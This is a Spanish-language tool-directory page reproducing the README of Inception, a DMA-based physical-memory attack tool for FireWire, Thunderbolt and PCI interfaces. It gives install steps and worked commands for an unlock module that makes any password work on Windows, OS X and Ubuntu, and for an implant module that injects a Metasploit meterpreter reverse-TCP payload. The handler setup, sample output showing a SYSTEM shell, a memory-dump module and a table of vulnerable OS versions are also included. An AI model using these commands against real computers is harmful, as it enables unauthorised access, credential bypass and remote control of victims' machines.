Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
inception — Inception es una herramienta de manipulación de memoria física y hacking que explota DMA basado en PCI. La herramienta puede atacar a través de FireWire, Thunderbolt, ExpressCard, PC Card y cualquier otra interfaz PCI/PCIe. | Kitploit
Herramientas/GitHubGitHub/carmaa/inception
Escalada de PrivilegiosForensia de MemoriaExplotaciónPost-ExplotaciónForensia DigitalPruebas de PenetraciónSeguridad de HardwareRed TeamingDesarrollo de Payloads
GitHubcarmaa/inception

inception

Inception es una herramienta de manipulación de memoria física y hacking que explota DMA basado en PCI. La herramienta puede atacar a través de FireWire, Thunderbolt, ExpressCard, PC Card y cualquier otra interfaz PCI/PCIe.

1.6k1985hace 1 añoRevisado por Kitploit

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir
Ver Repositorio

Nota: Esta herramienta ya no está en desarrollo activo; por favor, mira PCILeech en su lugar.

INCEPTION

Inception es una herramienta de manipulación de memoria física y hacking que explota DMA basado en PCI. La herramienta puede atacar a través de FireWire, Thunderbolt, ExpressCard, PC Card y cualquier otra interfaz HW PCI/PCIe.

Inception pretende proporcionar una forma relativamente rápida, estable, fácil y ampliable de realizar hacks de memoria intrusivos y no intrusivos contra computadoras en vivo mediante DMA.

Cómo funciona

Los módulos de Inception funcionan de la siguiente manera: al presentar un directorio de unidad Serial Bus Protocol 2 (SBP-2) a la máquina víctima a través de una interfaz IEEE1394 FireWire, el sistema operativo víctima piensa que un dispositivo SBP-2 se ha conectado al puerto FireWire. Dado que los dispositivos SBP-2 utilizan Direct Memory Access (DMA) para transferencias rápidas y grandes de datos en bloque (por ejemplo, discos duros FireWire y videocámaras digitales), la víctima baja sus defensas y habilita DMA para el dispositivo. La herramienta ahora tiene acceso completo de lectura/escritura a los 4 GB inferiores de RAM de la víctima.

Una vez que se concede DMA, la herramienta procede a buscar a través de las páginas de memoria disponibles firmas en ciertos desplazamientos del código del sistema operativo. Una vez encontradas, la herramienta manipula ese código. Por ejemplo, en el módulo unlock, la herramienta cortocircuita el módulo de autenticación de contraseña del sistema operativo que se activa si se introduce una contraseña incorrecta.

Después de ejecutar ese módulo deberías poder iniciar sesión en la máquina víctima usando cualquier contraseña.

Una analogía para esta operación es plantar una idea en la memoria de la máquina; la idea de que toda contraseña es correcta. En otras palabras, el equivalente de un [inception de memoria] 1.

Inception es gratis como la cerveza y un proyecto paralelo mío.

¡Increíble! Pero, ¿por qué?

Los expertos forenses del mundo, los gobiernos y las agencias de acrónimos de tres letras ya están usando [herramientas similares] 2. Así que si eres un disidente o te enfrentas a un régimen opresivo, esta herramienta ilustra por qué la OPSEC es importante. Nunca dejes tu portátil fuera de la vista.

Advertencias

[OS X > 10.7.2] 6 y [Windows > 8.1] 7 deshabilitan el DMA de FireWire cuando el usuario ha bloqueado el sistema operativo y, por lo tanto, impiden inception. La herramienta seguirá funcionando mientras un usuario tenga la sesión iniciada. Sin embargo, este es un escenario de ataque menos probable en la vida real (IRL).

Además, [OS X Mavericks > 10.8.2 en Ivy Bridge (>= Macs de 2012)] 8 han habilitado VT-D, bloqueando efectivamente las solicitudes DMA y frustrando todos los módulos de inception incluso cuando el usuario tiene la sesión iniciada. Busca entradas vtd[0] fault en tu registro/consola.

Aunque estas dos advertencias reducirán gradualmente el número de escenarios en los que esta herramienta es útil, a fecha de marzo de 2015 [el 70 % de las máquinas que hay por ahí siguen siendo vulnerables] 9.

Datos clave

  • Versión: 0.4.2
  • Licencia: GPL
  • Autor: Carsten Maartmann-Moe ([email protected])
  • Twitter: @MaartmannMoe
  • Fuente: https://github.com/carmaa/inception

La herramienta hace uso de la librería libforensic1394 cortesía de Freddie Witherden bajo una licencia LGPL.

Requisitos

Inception requiere:

  • Hardware:
    • Máquina atacante: Linux o Mac OS X (host / máquina atacante) con una interfaz FireWire, ya sea a través de un puerto FireWire nativo, un puerto de expansión ExpressCard/PCMCIA o un adaptador Thunderbolt a FireWire.
    • Máquina víctima: una interfaz FireWire o Thunderbolt, o un puerto de expansión ExpressCard/PCMCIA

Linux es actualmente recomendado en el lado del atacante debido a las interfaces firewire con errores en OS X. Ten en cuenta que ThunderBolt directo a ThunderBolt no funciona, necesitas un adaptador FireWire. Tu experiencia puede variar al intentar usar Thunderbolt en Linux.

  • Software:
    • Python 3
    • git
    • gcc (incl. g++)
    • cmake
    • pip (para la resolución automática de dependencias)
    • [libforensic1394] 3
    • msgpack

Instalación

En distribuciones basadas en Debian, los comandos de instalación se pueden resumir como (usa sudo según sea necesario si no eres root):

root@kitploit:~
apt-get install git cmake g++ python3 python3-pip

En OS X, puedes instalar los requisitos de la herramienta con [homebrew] 4:

root@kitploit:~
brew install git cmake python3

Después de instalar los requisitos, descarga e instala libforensic1394:

root@kitploit:~
wget https://freddie.witherden.org/tools/libforensic1394/releases/libforensic1394-0.2.tar.gz -O - | tar xz
cd libforensic1394-0.2
cmake CMakeLists.txt
make install
cd python
python3 setup.py install

Descargar e instalar Inception

root@kitploit:~
git clone git://github.com/carmaa/inception.git
cd inception
./setup.py install

El script de configuración debería poder instalar las dependencias si tienes pip instalado.

Uso general

  1. Conecta la máquina atacante (host) y la víctima (target) con un cable FireWire
  2. Ejecuta Inception

Simplemente escribe:

root@kitploit:~
incept [module name]

Para una descripción más completa y actualizada, por favor ejecuta:

root@kitploit:~
incept -h

o consulta la [página principal de la herramienta] 5.

Módulos

A partir de la versión 0.4.0, Inception se ha modularizado. A continuación se describen los módulos actuales y su funcionalidad.

Para opciones detalladas sobre el uso, ejecuta:

root@kitploit:~
incept [module name] -h

Unlock

El módulo unlock puede desbloquear (acepta cualquier contraseña) y escalar privilegios a Administrador/root en casi* cualquier máquina encendida a la que tengas acceso físico. El módulo está pensado principalmente para hacer su magia contra computadoras que utilizan cifrado de disco completo como BitLocker, FileVault, TrueCrypt o Pointsec. Hay muchas otras (y mejores) formas de hackear una máquina que no tiene cifrado.

El módulo unlock es estable en máquinas con 4 GiB de memoria principal o menos. Si el objetivo tiene más que eso, necesitas tener suerte para encontrar las firmas mapeadas a un marco de página de memoria física al que la herramienta pueda acceder.

A partir de esta versión, es capaz de desbloquear los siguientes sistemas operativos x86 y x64:

(1): Ver advertencias anteriores.

Otras distribuciones de Linux que usan autenticación basada en PAM también pueden funcionar usando las firmas de Ubuntu.

El módulo también permite efectivamente la escalada de privilegios, por ejemplo a través de los comandos runas o sudo -s, respectivamente.

Ejecución

Para desbloquear, simplemente escribe:

root@kitploit:~
incept unlock

 _|  _|      _|    _|_|_|  _|_|_|_|  _|_|_|    _|_|_|  _|    _|_|    _|      _|
 _|  _|_|    _|  _|        _|        _|    _|    _|    _|  _|    _|  _|_|    _|
 _|  _|  _|  _|  _|        _|_|_|    _|_|_|      _|    _|  _|    _|  _|  _|  _|
 _|  _|    _|_|  _|        _|        _|          _|    _|  _|    _|  _|    _|_|
 _|  _|      _|    _|_|_|  _|_|_|_|  _|          _|    _|    _|_|    _|      _|

v.0.4.0 (C) Carsten Maartmann-Moe 2014
Download: https://github.com/carmaa/inception | Twitter: @MaartmannMoe

[?] Will potentially write to file. OK? [y/N] y
[*] Available targets (known signatures):

[1] Windows 8 MsvpPasswordValidate unlock/privilege escalation
[2] Windows 7 MsvpPasswordValidate unlock/privilege escalation
[3] Windows Vista MsvpPasswordValidate unlock/privilege escalation
[4] Windows XP MsvpPasswordValidate unlock/privilege escalation
[5] Mac OS X DirectoryService/OpenDirectory unlock/privilege escalation
[6] Ubuntu libpam unlock/privilege escalation
[7] Linux Mint libpam unlock/privilege escalation

[?] Please select target (or enter 'q' to quit): 2
[*] Selected target: Windows 7 MsvpPasswordValidate unlock/privilege escalation
[=============>                                                ]  227 MiB ( 22%)
[*] Signature found at 0xe373312 in page no. 58227
[*] Patch verified; successful
[*] BRRRRRRRAAAAAWWWWRWRRRMRMRMMRMRMMMMM!!!

Implant

El módulo implant implanta un payload (solo memoria) de Metasploit directamente en la memoria volátil de la máquina objetivo. Se integra con MSF a través del daemon msfrpcd que se incluye en todas las versiones de Metasploit.

La versión actual solo funciona como una prueba de concepto contra Windows 7 SP1 x86. No se admiten otros SO, versiones o arquitecturas, ni hay garantía de que se admitan en el futuro.

Ejecución

Para usarlo, inicia msfrpcd:

root@kitploit:~
msfrpcd -P [password]

Luego lanza inception en otra terminal:

root@kitploit:~
incept implant --msfpw [password] --msfopts [options]

Como ejemplo, para crear una shell meterpreter reverse TCP desde la máquina objetivo hacia tu host atacante, primero inicia el daemon msfrpcd y luego lanza una consola escuchando devoluciones de llamada (callbacks).

root@kitploit:~
msfrpcd -P password
msfconsole

En la consola, configuramos el extremo receptor del payload. Establecemos la opción EXITFUNC a thread para asegurar que el proceso objetivo siga vivo si algo sale mal:

root@kitploit:~
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 172.16.1.1
set EXITFUNC thread
set ExitOnSession false
exploit -j

Luego, en otra terminal, lanzamos Inception:

root@kitploit:~
incept implant --msfpw password --msfopts LHOST=172.16.1.1

 _|  _|      _|    _|_|_|  _|_|_|_|  _|_|_|    _|_|_|  _|    _|_|    _|      _|
 _|  _|_|    _|  _|        _|        _|    _|    _|    _|  _|    _|  _|_|    _|
 _|  _|  _|  _|  _|        _|_|_|    _|_|_|      _|    _|  _|    _|  _|  _|  _|
 _|  _|    _|_|  _|        _|        _|          _|    _|  _|    _|  _|    _|_|
 _|  _|      _|    _|_|_|  _|_|_|_|  _|          _|    _|    _|_|    _|      _|

v.0.4.0 (C) Carsten Maartmann-Moe 2014
Download: https://github.com/carmaa/inception | Twitter: @MaartmannMoe

[?] Will potentially write to file. OK? [y/N] y
[!] This module currently only work as a proof-of-concept against Windows 7 SP1
    x86. No other OSes, versions or architectures are supported, nor is there
    any guarantee that they will be supported in the future.
[?] What MSF payload do you want to use? windows/meterpreter/reverse_tcp
[*] Selected options:
[*] LPORT: 4444
[*] LHOST: 172.16.1.1
[*] EXITFUNC: thread
[*] Stage 1: Searcing for injection point
[================================>                             ]  537 MiB ( 53%)
[*] Signature found at 0x219d118c in page no. 137681
[*] Patching at 0x219d118c
[\] Waiting to ensure stage 1 execution
[*] Restoring memory at initial injection point
[*] Stage 2: Searching for page allocated in stage 1
[=========================>                                    ]  434 MiB ( 42%)
[*] Signature found at 0x1b2d9000 in page no. 111321
[*] Patching at 0x1b2d9000
[*] Patch verified; successful
[*] BRRRRRRRAAAAAWWWWRWRRRMRMRMMRMRMMMMM!!!

En tu consola MSF, deberías ver algo similar a esto:

root@kitploit:~
msf exploit(handler) > [*] Sending stage (769536 bytes) to 172.16.78.200
[*] Meterpreter session 1 opened (172.16.1.1:4444 -> 172.16.78.200:49178) at 2014-08-30 16:23:31 +0200

msf exploit(handler) > sessions

Active sessions
===============

  Id  Type                   Information                            Connection
  --  ----                   -----------                            ----------
  1   meterpreter x86/win32  NT AUTHORITY\SYSTEM @ WIN-11FMQRBAMJ6  172.16.1.1:4444 -> 172.16.78.200:49178 (172.16.78.200)

msf exploit(handler) > sessions -i 1
[*] Starting interaction with 1...

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM

Dump

El módulo dump facilita el volcado de memoria del objetivo al host atacante.

Ejecución

root@kitploit:~
incept dump

 _|  _|      _|    _|_|_|  _|_|_|_|  _|_|_|    _|_|_|  _|    _|_|    _|      _|
 _|  _|_|    _|  _|        _|        _|    _|    _|    _|  _|    _|  _|_|    _|
 _|  _|  _|  _|  _|        _|_|_|    _|_|_|      _|    _|  _|    _|  _|  _|  _|
 _|  _|    _|_|  _|        _|        _|          _|    _|  _|    _|  _|    _|_|
 _|  _|      _|    _|_|_|  _|_|_|_|  _|          _|    _|    _|_|    _|      _|

v.0.4.0 (C) Carsten Maartmann-Moe 2014
Download: https://github.com/carmaa/inception | Twitter: @MaartmannMoe

[*] Dumping from 0x0 to 0x40000000, a total of 1 GiB:
[==============================================================] 1024 MiB (100%)
[*] Dumped memory to file memdump_0x0-0x40000000_20140830-174305.bin
[*] BRRRRRRRAAAAAWWWWRWRRRMRMRMMRMRMMMMM!!!

Errores conocidos / advertencias

Por favor, consulta los comentarios al principio y la [página principal de la herramienta] 5.

Solución de problemas

Por favor, consulta la [página principal de la herramienta] 5.

Funciones planificadas

  • Implantes fiables en x64
  • Bypass de VT-D
  • Implantes de kernel (ring 0)
  • Más firmas

Historial de desarrollo

  • 0.0.1 - Primera versión, soporta desbloqueo básico de Windows XP SP3, Vista y 7, Mac OS X y desbloqueo de Ubuntu Gnome
  • 0.0.2 - Añadidas firmas para XP SP3 temprano, y Windows 7 x86 y x64 SP1
  • 0.0.3 - Añadidas algunas firmas (gracias Tekkenhead) y manejo de errores
  • 0.0.4 - Añadido businfo para mostrar dispositivos FireWire conectados, así como capacidades de volcado de memoria
  • 0.0.5 - Mejoradas las capacidades de volcado de memoria y añadido catálogo de muestras
  • 0.0.6 - Añadidas pruebas unitarias
  • 0.0.7 - Actualizadas firmas de Ubuntu y escalada de privilegios - gracias Adel Khaldi desde Argelia
  • 0.0.8 - Corregidos los parches de desbloqueo y escalada de privilegios de Ubuntu - un solo parche para doble acción
  • 0.1.0 - ¡Primera versión menor! Añadidas firmas para OS X y Vista, además de bastantes correcciones de errores
  • 0.1.1 - Añadidas firmas para Ubuntu 12.04 LTS
  • 0.1.2 - Corregidos varios errores
  • 0.1.3 - Corregido el error de firma de OS X 10.6.8 x64
  • 0.1.4 - Añadido modo manual para facilitar las pruebas de nuevas firmas
  • 0.2.0 - Añadidas firmas para OS X Mountain Lion (10.8) y Windows 8
  • 0.2.1 - Añadidas firmas para Ubuntu 12.10
  • 0.2.2 - Añadidas firmas para Linux Mint
  • 0.2.3 - Limpieza general de código, y salida más agradable y consistente
  • 0.2.4 - Añadida una barra de progreso
  • 0.2.5 - Ya no es necesario ser root para ejecutar la herramienta
  • 0.2.6 - Correcciones de errores
  • 0.3.0 - Añadido soporte para objetivos Ubuntu 13.04
  • 0.3.1 - Añadido soporte para OS X Mavericks y Windows 8.1
  • 0.3.2 - Correcciones de errores y soporte para Ubuntu 13.10
  • 0.3.3 - Correcciones de errores relacionadas con la salida y el manejo de errores
  • 0.3.4 - ¡Maestro!
  • 0.3.5 - Añadidas firmas x86 para Ubuntu 10.10 y 10.04
  • 0.4.0 - Reestructuración completa y reescritura. Añadido el módulo implant
  • 0.4.1 - Integrado soporte de interfaz SLOTSCREAMER
  • 0.4.2 - Nuevas firmas

Descargo de responsabilidad

No hagas el mal con esta herramienta. Además, soy pentester, no desarrollador. Así que si ves código raro que molesta tus sentidos de pureza pythonesca, envíame una nota sobre cómo puedo mejorarlo. O mejor aún, haz fork de mi código, cámbialo y envía un pull request.

Descargar herramienta
OSVersiónDesbloquear pantalla de bloqueoEscalar privilegios
Windows 88.1Sí (1)Sí (1)
Windows 88.0SíSí
Windows 7SP1SíSí
Windows 7SP0SíSí
Windows VistaSP2SíSí
Windows VistaSP1SíSí
Windows VistaSP0SíSí
Windows XPSP3SíSí
Windows XPSP2SíSí
Windows XPSP1
Windows XPSP0
Mac OS XMavericksSí (1)Sí (1)
Mac OS XMountain LionSí (1)Sí (1)
Mac OS XLionSí (1)Sí (1)
Mac OS XSnow LeopardSíSí
Mac OS XLeopard
UbuntuSaucySíSí
UbuntuRaringSíSí
UbuntuQuantalSíSí
UbuntuPreciseSíSí
UbuntuOneiricSíSí
UbuntuNattySíSí
Linux Mint13SíSí
Linux Mint12SíSí
Linux Mint12SíSí